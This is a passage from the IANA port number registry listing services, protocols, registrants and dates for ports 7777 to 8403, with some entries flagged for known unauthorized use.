Known
cbt 7777 udp cbt [Tony_Ballardie] [Tony_Ballardie] Unauthorized
Use on port
7777
interwise 7778 tcp Interwise [Joseph_Gray] [Joseph_Gray]
interwise 7778 udp Interwise [Joseph_Gray] [Joseph_Gray]
vstat 7779 tcp VSTAT [Vinh_Nguyn] [Vinh_Nguyn]
vstat 7779 udp VSTAT [Vinh_Nguyn] [Vinh_Nguyn]
7780 Unassigned
accu-lmgr 7781 tcp accu-lmgr [Moises_E_Hernandez] [Moises_E_Hernandez]
accu-lmgr 7781 udp accu-lmgr [Moises_E_Hernandez] [Moises_E_Hernandez]
7782-7783 Unassigned
s-bfd 7784 udp Seamless Bidirectional [IESG] [IETF_Chair] 2014-12-24 2016-07-14 [RFC7881]
Forwarding Detection (S-BFD)
7784 tcp Reserved
Known
7785 Unassigned Unauthorized
Use on port
7785
Known
minivend 7786 tcp MINIVEND [Mike_Heins] [Mike_Heins] Unauthorized
Use on port
7786
Known
minivend 7786 udp MINIVEND [Mike_Heins] [Mike_Heins] Unauthorized
Use on port
7786
Known
popup-reminders 7787 tcp Popup Reminders Receive [Robert_Harvey] [Robert_Harvey] 2006-01 Unauthorized
Use on port
7787
Known
popup-reminders 7787 udp Popup Reminders Receive [Robert_Harvey] [Robert_Harvey] 2006-01 Unauthorized
Use on port
7787
Known
7788 Unassigned Unauthorized
Use on port
7788
Known
office-tools 7789 tcp Office Tools Pro Receive [Robert_Harvey] [Robert_Harvey] 2006-01 Unauthorized
Use on port
7789
Known
office-tools 7789 udp Office Tools Pro Receive [Robert_Harvey] [Robert_Harvey] 2006-01 Unauthorized
Use on port
7789
7790-7793 Unassigned
q3ade 7794 tcp Q3ADE Cluster Service [Uffe_Harksen] [Uffe_Harksen] 2005-08
q3ade 7794 udp Q3ADE Cluster Service [Uffe_Harksen] [Uffe_Harksen] 2005-08
7795-7796 Unassigned
pnet-conn 7797 tcp Propel Connector port
pnet-conn 7797 udp Propel Connector port
pnet-enc 7798 tcp Propel Encoder port [Leif_Hedstrom] [Leif_Hedstrom] 2002-04
pnet-enc 7798 udp Propel Encoder port [Leif_Hedstrom] [Leif_Hedstrom] 2002-04
altbsdp 7799 tcp Alternate BSDP Service [Dieter_Siegmund] [Dieter_Siegmund] 2007-10-22
altbsdp 7799 udp Alternate BSDP Service [Dieter_Siegmund] [Dieter_Siegmund] 2007-10-22
asr 7800 tcp Apple Software Restore [Jim_Kateley][Shantonu_Sen] [Jim_Kateley][Shantonu_Sen] 2006-01 Defined TXT keys: image=<HTTP URL of disk image>
asr 7800 udp Apple Software Restore [Jim_Kateley][Shantonu_Sen] [Jim_Kateley][Shantonu_Sen] 2006-01 Defined TXT keys: image=<HTTP URL of disk image>
ssp-client 7801 tcp Secure Server Protocol - [Rick_Macchio] [Rick_Macchio] 2006-11
client
ssp-client 7801 udp Secure Server Protocol - [Rick_Macchio] [Rick_Macchio] 2006-11
client
vns-tp 7802 udp Virtualized Network Services [Juniper_Networks] [Bruno_Rijsman] 2013-02-01
Tunnel Protocol
7802 tcp Reserved
7803-7809 Unassigned
rbt-wanopt 7810 tcp Riverbed WAN Optimization [Vladimir_Legalov_2] [Vladimir_Legalov_2] 2007-09-04
Protocol
rbt-wanopt 7810 udp Riverbed WAN Optimization [Vladimir_Legalov_2] [Vladimir_Legalov_2] 2007-09-04
Protocol
7811-7844 Unassigned
apc-7845 7845 tcp APC 7845 [American_Power_Conve] [American_Power_Conve]
apc-7845 7845 udp APC 7845 [American_Power_Conve] [American_Power_Conve]
apc-7846 7846 tcp APC 7846 [American_Power_Conve] [American_Power_Conve]
apc-7846 7846 udp APC 7846 [American_Power_Conve] [American_Power_Conve]
csoauth 7847 tcp A product key authentication [Jeff_Wamsley] [Jacob_Kiesel] 2013-09-04
protocol made by CSO
7847 udp Reserved
7848-7868 Unassigned
mobileanalyzer 7869 tcp MobileAnalyzer& [Jonas_Gyllensvaan] [Jonas_Gyllensvaan] 2009-04-27
MobileMonitor
7869 udp Reserved
rbt-smc 7870 tcp Riverbed Steelhead Mobile [Gabriel_Levy] [Gabriel_Levy] 2008-08-29
Service
7870 udp Reserved
mdm 7871 tcp Mobile Device Management [Dan_Harkins] [Dan_Harkins] 2011-08-15
7871 udp Reserved
7872 tcp Reserved
mipv6tls 7872 udp TLS-based Mobile IPv6 [IESG] [IETF_Chair] 2012-04-12 [RFC6618]
Security
7873-7877 Unassigned
owms 7878 tcp Opswise Message Service [Stonebranch_Inc] [Nathan_Hammond_2] 2013-06-25
7878 udp Reserved
7879 Unassigned
pss 7880 tcp Pearson [Pearson] [Pearson] 2008-01-17
pss 7880 udp Pearson [Pearson] [Pearson] 2008-01-17
7881-7886 Unassigned
ubroker 7887 tcp Universal Broker [Nathan_Hammond] [Nathan_Hammond] 2005-10
ubroker 7887 udp Universal Broker [Nathan_Hammond] [Nathan_Hammond] 2005-10
7888-7899 Unassigned
mevent 7900 tcp Multicast Event [YoonSoo_Kim] [YoonSoo_Kim] 2006-05
mevent 7900 udp Multicast Event [YoonSoo_Kim] [YoonSoo_Kim] 2006-05
tnos-sp 7901 tcp TNOS Service Protocol [Rene_Kurt] [Rene_Kurt] 2005-08
tnos-sp 7901 udp TNOS Service Protocol [Rene_Kurt] [Rene_Kurt] 2005-08
tnos-dp 7902 tcp TNOS shell Protocol [Rene_Kurt] [Rene_Kurt] 2005-08
tnos-dp 7902 udp TNOS shell Protocol [Rene_Kurt] [Rene_Kurt] 2005-08
tnos-dps 7903 tcp TNOS Secure DiaguardProtocol [Rene_Kurt] [Rene_Kurt] 2005-08
tnos-dps 7903 udp TNOS Secure DiaguardProtocol [Rene_Kurt] [Rene_Kurt] 2005-08
7904-7912 Unassigned
qo-secure 7913 tcp QuickObjects secure port [Jonas_Bovin] [Jonas_Bovin]
qo-secure 7913 udp QuickObjects secure port [Jonas_Bovin] [Jonas_Bovin]
7914-7931 Unassigned
t2-drm 7932 tcp Tier 2 Data Resource Manager [Peter_Carlson] [Peter_Carlson]
t2-drm 7932 udp Tier 2 Data Resource Manager [Peter_Carlson] [Peter_Carlson]
t2-brm 7933 tcp Tier 2 Business Rules [Peter_Carlson] [Peter_Carlson]
Manager
t2-brm 7933 udp Tier 2 Business Rules [Peter_Carlson] [Peter_Carlson]
Manager
7934-7961 Unassigned
Encrypted, extendable,
generalsync 7962 tcp general-purpose [Dirk_Steinmetz] [Dirk_Steinmetz] 2014-04-17
synchronization protocol
Encrypted, extendable,
generalsync 7962 udp general-purpose [Dirk_Steinmetz] [Dirk_Steinmetz] 2014-04-17
synchronization protocol
7963-7966 Unassigned
supercell 7967 tcp Supercell [Kevin_Nakagawa] [Kevin_Nakagawa]
supercell 7967 udp Supercell [Kevin_Nakagawa] [Kevin_Nakagawa]
7968-7978 Unassigned
micromuse-ncps 7979 tcp Micromuse-ncps [Hing_Wing_To] [Hing_Wing_To]
micromuse-ncps 7979 udp Micromuse-ncps [Hing_Wing_To] [Hing_Wing_To]
quest-vista 7980 tcp Quest Vista [Preston_Bannister] [Preston_Bannister]
quest-vista 7980 udp Quest Vista [Preston_Bannister] [Preston_Bannister]
sossd-collect 7981 tcp Spotlight on SQL Server [Rob_Griffin_2] [Rob_Griffin_2] 2010-08-30
Desktop Collect
7981 udp Reserved
sossd-agent 7982 tcp Spotlight on SQL Server [Rob_Griffin_2] [Rob_Griffin_2] 2010-09-13
Desktop Agent
sossd-disc 7982 udp Spotlight on SQL Server [Rob_Griffin_2] [Rob_Griffin_2] 2010-09-13
Desktop Agent Discovery
7983-7997 Unassigned
pushns 7997 tcp PUSH Notification Service [Tristan_Seifert] [Tristan_Seifert] 2011-01-31
7997 udp Reserved
7998 tcp Reserved
usicontentpush 7998 udp USI Content Push Service [Prakash_Iyer] [Prakash_Iyer] 2009-08-10
irdmi2 7999 tcp iRDMI2
irdmi2 7999 udp iRDMI2
irdmi 8000 tcp iRDMI [Gil_Shafriri] [Gil_Shafriri]
irdmi 8000 udp iRDMI [Gil_Shafriri] [Gil_Shafriri]
Known
vcom-tunnel 8001 tcp VCOM Tunnel [Mark_Lewandowski] [Mark_Lewandowski] Unauthorized
Use on port
8001
Known
vcom-tunnel 8001 udp VCOM Tunnel [Mark_Lewandowski] [Mark_Lewandowski] Unauthorized
Use on port
8001
teradataordbms 8002 tcp Teradata ORDBMS [Curt_Ellmann] [Curt_Ellmann]
teradataordbms 8002 udp Teradata ORDBMS [Curt_Ellmann] [Curt_Ellmann]
mcreport 8003 tcp Mulberry Connect Reporting [Dave_Stoneham] [Dave_Stoneham] 2008-03-10
Service
mcreport 8003 udp Mulberry Connect Reporting [Dave_Stoneham] [Dave_Stoneham] 2008-03-10
Service
Opensource Evolv Enterprise
p2pevolvenet 8004 tcp Platform P2P Network Node [Tris_Puki] [Adrians_Borsteins] 2018-01-16
Connection Protocol
8004 udp Reserved
mxi 8005 tcp MXI Generation II for z/OS [Rob_Scott] [Rob_Scott] 2007-05
mxi 8005 udp MXI Generation II for z/OS [Rob_Scott] [Rob_Scott] 2007-05
wpl-analytics 8006 tcp World Programming analytics [World_Programming_Limited] [Thomas_Quarendon] 2017-04-04
wpl-disc 8006 udp World Programming analytics [World_Programming_Limited] [Thomas_Quarendon] 2017-04-04
discovery
warppipe 8007 tcp I/O oriented cluster [MirrorWeb_LTD] [Jonathan_Kingsley] 2017-07-19
computing software
warppipe 8007 udp I/O oriented cluster [MirrorWeb_LTD] [Jonathan_Kingsley] 2017-07-19
computing software
http-alt 8008 tcp HTTP Alternate [James_Gettys] [James_Gettys]
http-alt 8008 udp HTTP Alternate [James_Gettys] [James_Gettys]
nvme-disc 8009 tcp NVMe over Fabrics Discovery [NVM_Express_Inc] [Amber_Huffman] 2018-03-27
Service
8009 udp Reserved
8010-8018 Unassigned
qbdb 8019 tcp QB DB Dynamic Port [Sridhar_Krishnamurth] [Sridhar_Krishnamurth] 2008-02-15
qbdb 8019 udp QB DB Dynamic Port [Sridhar_Krishnamurth] [Sridhar_Krishnamurth] 2008-02-15
intu-ec-svcdisc 8020 tcp Intuit Entitlement Service [Daniel_C_McGloin] [Daniel_C_McGloin] 2005-05
and Discovery
intu-ec-svcdisc 8020 udp Intuit Entitlement Service [Daniel_C_McGloin] [Daniel_C_McGloin] 2005-05
and Discovery
intu-ec-client 8021 tcp Intuit Entitlement Client [Daniel_C_McGloin] [Daniel_C_McGloin] 2005-05
intu-ec-client 8021 udp Intuit Entitlement Client [Daniel_C_McGloin] [Daniel_C_McGloin] 2005-05
oa-system 8022 tcp oa-system [Marie_France_Dubreui] [Marie_France_Dubreui]
oa-system 8022 udp oa-system [Marie_France_Dubreui] [Marie_France_Dubreui]
arca-api 8023 tcp ARCATrust vault API [ARCATrust_SA] [Yacince_Felk] 2018-07-05
arca-api 8023 udp ARCATrust vault API [ARCATrust_SA] [Yacince_Felk] 2018-07-05
8024 Unassigned
ca-audit-da 8025 tcp CA Audit Distribution Agent [Henning_Smith] [Henning_Smith] 2006-07
ca-audit-da 8025 udp CA Audit Distribution Agent [Henning_Smith] [Henning_Smith] 2006-07
ca-audit-ds 8026 tcp CA Audit Distribution Server [Henning_Smith] [Henning_Smith] 2006-07
ca-audit-ds 8026 udp CA Audit Distribution Server [Henning_Smith] [Henning_Smith] 2006-07
8027-8031 Unassigned
pro-ed 8032 tcp ProEd
pro-ed 8032 udp ProEd
mindprint 8033 tcp MindPrint [Larry_Tusoni] [Larry_Tusoni]
mindprint 8033 udp MindPrint [Larry_Tusoni] [Larry_Tusoni]
vantronix-mgmt 8034 tcp .vantronix Management [Reyk_Floeter] [Reyk_Floeter] 2008-02-27
vantronix-mgmt 8034 udp .vantronix Management [Reyk_Floeter] [Reyk_Floeter] 2008-02-27
8035-8039 Unassigned
ampify 8040 tcp Ampify Messaging Protocol [Tav_Espian] [Tav_Espian] 2010-08-10
ampify 8040 udp Ampify Messaging Protocol [Tav_Espian] [Tav_Espian] 2010-08-10
enguity-xccetp 8041 tcp Xcorpeon ASIC Carrier [Enguity_Technology_Corp] [Kraig_Beahn_Jr] 2017-06-28
Ethernet Transport
enguity-xccetp 8041 udp Xcorpeon ASIC Carrier [Enguity_Technology_Corp] [Kraig_Beahn_Jr] 2017-06-28
Ethernet Transport
fs-agent 8042 tcp FireScope Agent [Matt_Rogers] [Matt_Rogers] 2008-10-16
8042 udp Reserved
fs-server 8043 tcp FireScope Server [Matt_Rogers] [Matt_Rogers] 2008-10-16
8043 udp Reserved
fs-mgmt 8044 tcp FireScope Management [Matt_Rogers] [Matt_Rogers] 2008-10-16
Interface
8044 udp Reserved
8045-8050 Unassigned
rocrail 8051 tcp Rocrail Client Service [Rob_Versluis] [Rob_Versluis] 2011-05-23
8051 udp Reserved
senomix01 8052 tcp Senomix Timesheets Server [Charles_O_Dale] [Charles_O_Dale] 2006-07
senomix01 8052 udp Senomix Timesheets Server [Charles_O_Dale] [Charles_O_Dale] 2006-07
senomix02 8053 tcp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix02 8053 udp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix03 8054 tcp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix03 8054 udp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix04 8055 tcp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix04 8055 udp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix05 8056 tcp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix05 8056 udp Senomix Timesheets Server [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix06 8057 tcp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix06 8057 udp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix07 8058 tcp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix07 8058 udp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix08 8059 tcp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
senomix08 8059 udp Senomix Timesheets Client [1 [Charles_O_Dale] [Charles_O_Dale] 2006-07
year assignment]
8060 tcp Reserved
aero 8060 udp Asymmetric Extended Route [IESG] [IETF_Chair] [RFC6706]
Optimization (AERO)
8061-8065 Unassigned
toad-bi-appsrvr 8066 tcp Toad BI Application Server [Quest_Software_2] [Greg_Cottman_3] 2013-04-19
8066 udp Reserved
infi-async 8067 tcp Infinidat async replication [INFINIDAT] [Eldar_Kleiner] 2015-05-01
8067 udp Reserved
8068-8069 Unassigned
Oracle Unified Communication
ucs-isc 8070 tcp Suite's Indexed Search [Oracle_Corp] [Bharathi_Sivaramakrishnan] 2017-02-10
Converter
8070 udp Reserved
8071-8073 Unassigned
gadugadu 8074 tcp Gadu-Gadu [Marcin_Gozdalik] [Marcin_Gozdalik] 2006-05
gadugadu 8074 udp Gadu-Gadu [Marcin_Gozdalik] [Marcin_Gozdalik] 2006-05
8075-8076 Unassigned
Mles is a client-server data
distribution protocol
targeted to serve as a
mles 8077 tcp lightweight and reliable [Juhamatti_Kuusisaari] [Juhamatti_Kuusisaari] 2017-02-24
distributed
publish/subscribe database
service.
8077 udp Reserved
8078-8079 Unassigned
http-alt 8080 tcp HTTP Alternate (see port 80) [Stephen_Casner] [Stephen_Casner]
http-alt 8080 udp HTTP Alternate (see port 80) [Stephen_Casner] [Stephen_Casner]
sunproxyadmin 8081 tcp Sun Proxy Admin Service [Arvind_Srinivasan] [Arvind_Srinivasan] 2005-08
sunproxyadmin 8081 udp Sun Proxy Admin Service [Arvind_Srinivasan] [Arvind_Srinivasan] 2005-08
us-cli 8082 tcp Utilistor (Client) [Andy_Brewerton] [Andy_Brewerton] 2005-08
us-cli 8082 udp Utilistor (Client) [Andy_Brewerton] [Andy_Brewerton] 2005-08
us-srv 8083 tcp Utilistor (Server) [Andy_Brewerton] [Andy_Brewerton] 2005-08
us-srv 8083 udp Utilistor (Server) [Andy_Brewerton] [Andy_Brewerton] 2005-08
8084-8085 Unassigned
d-s-n 8086 tcp Distributed SCADA Networking [Gary_Hampton] [Gary_Hampton] 2008-02-27
Rendezvous Port
d-s-n 8086 udp Distributed SCADA Networking [Gary_Hampton] [Gary_Hampton] 2008-02-27
Rendezvous Port
simplifymedia 8087 tcp Simplify Media SPP Protocol [Emmanuel_Saint_Loube] [Emmanuel_Saint_Loube] 2008-08-08
simplifymedia 8087 udp Simplify Media SPP Protocol [Emmanuel_Saint_Loube] [Emmanuel_Saint_Loube] 2008-08-08
radan-http 8088 tcp Radan HTTP [Steve_Hay] [Steve_Hay] 2008-06-13
radan-http 8088 udp Radan HTTP [Steve_Hay] [Steve_Hay] 2008-06-13
8089 Unassigned
opsmessaging 8090 tcp Vehicle to station messaging [LAN-ACES_Inc] [Robert_Ripberger] 2017-02-08
8090 udp Reserved
jamlink 8091 tcp Jam Link Framework [Evgeniy_Filatov] [Evgeniy_Filatov] 2009-11-25
8091 udp Reserved
8092-8096 Unassigned
sac 8097 tcp SAC Port Id [Girish_Bhat] [Girish_Bhat] 2006-04
sac 8097 udp SAC Port Id [Girish_Bhat] [Girish_Bhat] 2006-04
8098-8099 Unassigned
xprint-server 8100 tcp Xprint Server [John_McKernan] [John_McKernan]
xprint-server 8100 udp Xprint Server [John_McKernan] [John_McKernan]
ldoms-migr 8101 tcp Logical Domains Migration [Liam_Merwick] [Liam_Merwick] 2009-01-16
8101 udp Reserved
kz-migr 8102 tcp Oracle Kernel zones [Oracle_4] [John_Levon] 2013-12-24
migration server
8102 udp Reserved
8103-8114 Unassigned
mtl8000-matrix 8115 tcp MTL8000 Matrix [David_Pinch] [David_Pinch] 2002-04
mtl8000-matrix 8115 udp MTL8000 Matrix [David_Pinch] [David_Pinch] 2002-04
cp-cluster 8116 tcp Check Point Clustering [Roni_Moshitzky] [Roni_Moshitzky]
cp-cluster 8116 udp Check Point Clustering [Roni_Moshitzky] [Roni_Moshitzky]
Purity replication
purityrpc 8117 tcp clustering and remote [Pure_Storage] [Steve_Hodgson] 2013-08-13
management
8117 udp Reserved
privoxy 8118 tcp Privoxy HTTP proxy [Andreas_Oesterhelt] [Andreas_Oesterhelt] 2002-06
privoxy 8118 udp Privoxy HTTP proxy [Andreas_Oesterhelt] [Andreas_Oesterhelt] 2002-06
8119-8120 Unassigned
apollo-data 8121 tcp Apollo Data Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
apollo-data 8121 udp Apollo Data Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
apollo-admin 8122 tcp Apollo Admin Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
apollo-admin 8122 udp Apollo Admin Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
8123-8127 Unassigned
paycash-online 8128 tcp PayCash Online Protocol [MegaZone] [MegaZone] 2005-08
paycash-online 8128 udp PayCash Online Protocol [MegaZone] [MegaZone] 2005-08
paycash-wbp 8129 tcp PayCash Wallet-Browser [MegaZone] [MegaZone] 2005-08
paycash-wbp 8129 udp PayCash Wallet-Browser [MegaZone] [MegaZone] 2005-08
indigo-vrmi 8130 tcp INDIGO-VRMI [Colin_Caughie] [Colin_Caughie]
indigo-vrmi 8130 udp INDIGO-VRMI [Colin_Caughie] [Colin_Caughie]
indigo-vbcp 8131 tcp INDIGO-VBCP [Colin_Caughie] [Colin_Caughie]
indigo-vbcp 8131 udp INDIGO-VBCP [Colin_Caughie] [Colin_Caughie]
dbabble 8132 tcp dbabble [Chris_Pugmire] [Chris_Pugmire]
dbabble 8132 udp dbabble [Chris_Pugmire] [Chris_Pugmire]
8133-8139 Unassigned
puppet 8140 tcp The Puppet master service [Puppet] [Charles_Dunbar] 2014-09-18
8140 udp Reserved
8141-8147 Unassigned
isdd 8148 tcp i-SDD file transfer [Frank_Waarsenburg] [Frank_Waarsenburg] 2004-11
isdd 8148 udp i-SDD file transfer [Frank_Waarsenburg] [Frank_Waarsenburg] 2004-11
8149 tcp Reserved
eor-game 8149 udp Edge of Reality game data [Sky_Schulz] [Sky_Schulz] 2011-05-09
8150-8152 Unassigned
quantastor 8153 tcp QuantaStor Management [OS_NEXUS] [Steven_Umbehocker] 2012-09-21
Interface
8153 udp Reserved
8154-8159 Unassigned
patrol 8160 tcp Patrol [Portnoy_Boxman] [Portnoy_Boxman]
patrol 8160 udp Patrol [Portnoy_Boxman] [Portnoy_Boxman]
patrol-snmp 8161 tcp Patrol SNMP [Portnoy_Boxman] [Portnoy_Boxman]
patrol-snmp 8161 udp Patrol SNMP [Portnoy_Boxman] [Portnoy_Boxman]
lpar2rrd 8162 tcp LPAR2RRD client server [LPAR2RRD_project] [Pavel_Hampl] 2013-08-14
communication
8162 udp Reserved
8163-8180 Unassigned
intermapper 8181 tcp Intermapper network [William_Fisher] [William_Fisher] 2011-05-09
management system
8181 udp Reserved
vmware-fdm 8182 tcp VMware Fault Domain Manager [Ron_Passerini] [Ron_Passerini] 2010-04-27
vmware-fdm 8182 udp VMware Fault Domain Manager [Ron_Passerini] [Ron_Passerini] 2010-04-27
proremote 8183 tcp ProRemote [Alex_Lelievre] [Alex_Lelievre] 2009-08-18
8183 udp Reserved
itach 8184 tcp Remote iTach Connection [Barend_Jacobus_van_d] [Barend_Jacobus_van_d] 2010-04-27
itach 8184 udp Remote iTach Connection [Barend_Jacobus_van_d] [Barend_Jacobus_van_d] 2010-04-27
8185-8189 Unassigned
gcp-rphy 8190 tcp Generic control plane for [CableLabs] [Karthik_Sundaresan] 2015-11-24
RPHY
8190 udp Reserved
limnerpressure 8191 tcp Limner Pressure [Aaron_Kleinsteiber] [Aaron_Kleinsteiber] 2014-01-16
8191 udp Reserved
spytechphone 8192 tcp SpyTech Phone Service [Bill_Kay] [Bill_Kay] 2006-04
spytechphone 8192 udp SpyTech Phone Service [Bill_Kay] [Bill_Kay] 2006-04
8193 Unassigned
blp1 8194 tcp Bloomberg data API [Albert_Hou] [Albert_Hou] 2006-05
blp1 8194 udp Bloomberg data API [Albert_Hou] [Albert_Hou] 2006-05
blp2 8195 tcp Bloomberg feed [Albert_Hou] [Albert_Hou] 2006-05
blp2 8195 udp Bloomberg feed [Albert_Hou] [Albert_Hou] 2006-05
8196-8198 Unassigned
vvr-data 8199 tcp VVR DATA [Ming_Xu] [Ming_Xu]
vvr-data 8199 udp VVR DATA [Ming_Xu] [Ming_Xu]
trivnet1 8200 tcp TRIVNET [Saar_Wilf] [Saar_Wilf]
trivnet1 8200 udp TRIVNET [Saar_Wilf] [Saar_Wilf]
trivnet2 8201 tcp TRIVNET [Saar_Wilf] [Saar_Wilf]
trivnet2 8201 udp TRIVNET [Saar_Wilf] [Saar_Wilf]
8202 tcp Reserved
aesop 8202 udp Audio+Ethernet Standard Open [POWERSOFT_SRL] [Paolo_Desii][Claudio_Lastrucci] 2012-01-03
Protocol
8203-8203 Unassigned
lm-perfworks 8204 tcp LM Perfworks [Chris_Flynn] [Chris_Flynn]
lm-perfworks 8204 udp LM Perfworks [Chris_Flynn] [Chris_Flynn]
lm-instmgr 8205 tcp LM Instmgr [Chris_Flynn] [Chris_Flynn]
lm-instmgr 8205 udp LM Instmgr [Chris_Flynn] [Chris_Flynn]
lm-dta 8206 tcp LM Dta [Chris_Flynn] [Chris_Flynn]
lm-dta 8206 udp LM Dta [Chris_Flynn] [Chris_Flynn]
lm-sserver 8207 tcp LM SServer [Chris_Flynn] [Chris_Flynn]
lm-sserver 8207 udp LM SServer [Chris_Flynn] [Chris_Flynn]
lm-webwatcher 8208 tcp LM Webwatcher [Chris_Flynn] [Chris_Flynn]
lm-webwatcher 8208 udp LM Webwatcher [Chris_Flynn] [Chris_Flynn]
8209-8210 Unassigned
8211 tcp Reserved
aruba-papi 8211 udp Aruba Networks AP management [Aruba_Networks] [Jon_Green] 2018-10-04
8212-8229 Unassigned
rexecj 8230 tcp RexecJ Server [Curtiss_Howard] [Curtiss_Howard] 2004-11
rexecj 8230 udp RexecJ Server [Curtiss_Howard] [Curtiss_Howard] 2004-11
8231 tcp Reserved
hncp-udp-port 8231 udp HNCP [IESG] [IETF_Chair] 2016-01-13 [RFC7788]
8232 tcp Reserved
hncp-dtls-port 8232 udp HNCP over DTLS [IESG] [IETF_Chair] 2016-01-13 [RFC7788]
8233-8242 Unassigned
synapse-nhttps 8243 tcp Synapse Non Blocking HTTPS [Ruwan_Linton] [Ruwan_Linton] 2008-07-10
synapse-nhttps 8243 udp Synapse Non Blocking HTTPS [Ruwan_Linton] [Ruwan_Linton] 2008-07-10
8244-8265 Unassigned
8266 tcp Reserved
espeasy-p2p 8266 udp ESPeasy peer-2-peer [ESPeasy] [Gijs_Noorlander] 2018-11-28
communication
8267-8269 Unassigned
robot-remote 8270 tcp Robot Framework Remote [Robot_Framework_Foundation] [Chris_Newman] 2017-01-26
Library Interface
8270 udp Reserved
8271-8275 Unassigned
pando-sec 8276 tcp Pando Media Controlled [Laird_Popkin] [Laird_Popkin] 2008-02-27
Distribution
pando-sec 8276 udp Pando Media Controlled [Laird_Popkin] [Laird_Popkin] 2008-02-27
Distribution
8277-8279 Unassigned
synapse-nhttp 8280 tcp Synapse Non Blocking HTTP [Ruwan_Linton] [Ruwan_Linton] 2008-06-05
synapse-nhttp 8280 udp Synapse Non Blocking HTTP [Ruwan_Linton] [Ruwan_Linton] 2008-06-05
8281 Unassigned
libelle 8282 tcp Libelle EnterpriseBus [Libelle_AG] [Hans-Joachim_Krueger] 2016-02-17
libelle-disc 8282 udp Libelle EnterpriseBus [Libelle_AG] [Hans-Joachim_Krueger] 2016-02-17
discovery
8282 sctp Reserved
8282 dccp Reserved
8283-8291 Unassigned
blp3 8292 tcp Bloomberg professional [Albert_Hou] [Albert_Hou] 2006-05
blp3 8292 udp Bloomberg professional [Albert_Hou] [Albert_Hou] 2006-05
hiperscan-id 8293 tcp Hiperscan Identification [Thomas_Klose] [Thomas_Klose] 2009-12-15
Service
8293 udp Reserved
blp4 8294 tcp Bloomberg intelligent client [Albert_Hou] [Albert_Hou] 2006-05
blp4 8294 udp Bloomberg intelligent client [Albert_Hou] [Albert_Hou] 2006-05
8295-8299 Unassigned
tmi 8300 tcp Transport Management [Steve_Kneizys] [Steve_Kneizys] 2006-11
Interface
tmi 8300 udp Transport Management [Steve_Kneizys] [Steve_Kneizys] 2006-11
Interface
amberon 8301 tcp Amberon PPC/PPS [Ronald_Snyder] [Ronald_Snyder] 2006-03
amberon 8301 udp Amberon PPC/PPS [Ronald_Snyder] [Ronald_Snyder] 2006-03
8302-8312 Unassigned
hub-open-net 8313 tcp Hub Open Network [Grexie] [Tim_Behrsin] 2012-06-13 Defined TXT keys: _hub._tcp.host.example.com
8313 udp Reserved
8314-8319 Unassigned
tnp-discover 8320 tcp Thin(ium) Network Protocol [Aly_Orady] [Aly_Orady] 2007-08-07
tnp-discover 8320 udp Thin(ium) Network Protocol [Aly_Orady] [Aly_Orady] 2007-08-07
tnp 8321 tcp Thin(ium) Network Protocol [Aly_Orady] [Aly_Orady] 2007-08-07
tnp 8321 udp Thin(ium) Network Protocol [Aly_Orady] [Aly_Orady] 2007-08-07
garmin-marine 8322 tcp Garmin Marine [Garmin_International_Inc] [Nathan_Karstens] 2015-07-23
garmin-marine 8322 udp Garmin Marine [Garmin_International_Inc] [Nathan_Karstens] 2015-07-23
8323-8350 Unassigned
server-find 8351 tcp Server Find [Chris_Brown] [Chris_Brown]
server-find 8351 udp Server Find [Chris_Brown] [Chris_Brown]
8352-8375 Unassigned
cruise-enum 8376 tcp Cruise ENUM [Steve_Husak] [Steve_Husak]
cruise-enum 8376 udp Cruise ENUM [Steve_Husak] [Steve_Husak]
cruise-swroute 8377 tcp Cruise SWROUTE [Steve_Husak] [Steve_Husak]
cruise-swroute 8377 udp Cruise SWROUTE [Steve_Husak] [Steve_Husak]
cruise-config 8378 tcp Cruise CONFIG [Steve_Husak] [Steve_Husak]
cruise-config 8378 udp Cruise CONFIG [Steve_Husak] [Steve_Husak]
cruise-diags 8379 tcp Cruise DIAGS [Steve_Husak] [Steve_Husak]
cruise-diags 8379 udp Cruise DIAGS [Steve_Husak] [Steve_Husak]
cruise-update 8380 tcp Cruise UPDATE [Steve_Husak] [Steve_Husak]
cruise-update 8380 udp Cruise UPDATE [Steve_Husak] [Steve_Husak]
8381-8382 Unassigned
m2mservices 8383 tcp M2m Services [Carlos_Arteaga_2] [Carlos_Arteaga_2] 2004-11
m2mservices 8383 udp M2m Services [Carlos_Arteaga_2] [Carlos_Arteaga_2] 2004-11
marathontp 8384 udp Marathon Transport Protocol [Inertia_Systemes] [Jasmin_Blouin] 2015-06-11
8384 tcp Reserved
8385-8399 Unassigned
cvd 8400 tcp cvd [Aaron_Bilbrey] [Aaron_Bilbrey]
cvd 8400 udp cvd [Aaron_Bilbrey] [Aaron_Bilbrey]
sabarsd 8401 tcp sabarsd [Aaron_Bilbrey] [Aaron_Bilbrey]
sabarsd 8401 udp sabarsd [Aaron_Bilbrey] [Aaron_Bilbrey]
abarsd 8402 tcp abarsd [Aaron_Bilbrey] [Aaron_Bilbrey]
abarsd 8402 udp abarsd [Aaron_Bilbrey] [Aaron_Bilbrey]
admind 8403 tcp admind [Aaron_Bilbrey] [Aaron_Bilbrey]
admind 8403 udp admind [Aaron_Bilbrey] [Aaron_Bilbrey]
